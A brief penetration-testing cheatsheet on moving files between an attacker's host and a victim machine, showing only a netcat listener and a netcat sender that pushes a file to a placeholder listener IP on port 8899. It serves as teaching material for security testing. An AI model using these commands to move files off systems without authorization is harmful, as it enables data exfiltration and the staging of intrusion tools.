File Transfer Cheatsheet

When pentesting, you have to make do with whatever tools you have, especially if you can’t download more.
Figuring out which tool(s) you have available to get/put files between host and victim is essential.

Linux File Transfers

Netcat

Transfer a single, specified file out.file and receive it as in.file

Listener / Receiver

nc -l -p 8899 > in.file

Host / Sender

# '-w 3' is a 3 second timeout

nc -w 3 [listener IP] 8899 < out.file